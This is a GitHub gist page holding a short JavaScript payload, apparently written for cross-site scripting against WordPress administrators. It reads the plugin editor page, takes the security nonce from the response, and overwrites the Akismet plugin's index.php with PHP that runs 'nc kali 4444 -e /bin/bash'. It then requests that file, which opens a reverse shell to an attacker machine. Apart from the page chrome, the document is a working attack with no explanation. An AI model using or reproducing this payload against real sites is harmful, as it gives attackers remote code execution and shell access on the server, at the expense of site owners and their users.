Created
May 19, 2019 21:32
-
-
Save LukaSikic/48f30805b10e2a4dfd6858ebdb304be9 to your computer and use it in GitHub Desktop.
Revisions
-
LukaSikic created this gist
May 19, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,18 @@ u = "/wp-admin/plugin-editor.php" p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php" var x = new XMLHttpRequest(); var r=0 x.open('GET',u+"?"+ p,1); x.send(null); x.onreadystatechange = function() { if (x.readyState === 4 && r != 1) { n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1] x.open("POST", u, 1) x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.send(p + "&nonce=" + n + "&newcontent=%3C%3Fphp%20exec%28%27nc%20kali%204444%20-e%20%2Fbin%2Fbash%27%29%3B%20%3F%3E&action=edit-theme-plugin-file") r = 1 } else { fetch('/wp-content/plugins/akismet/index.php') } }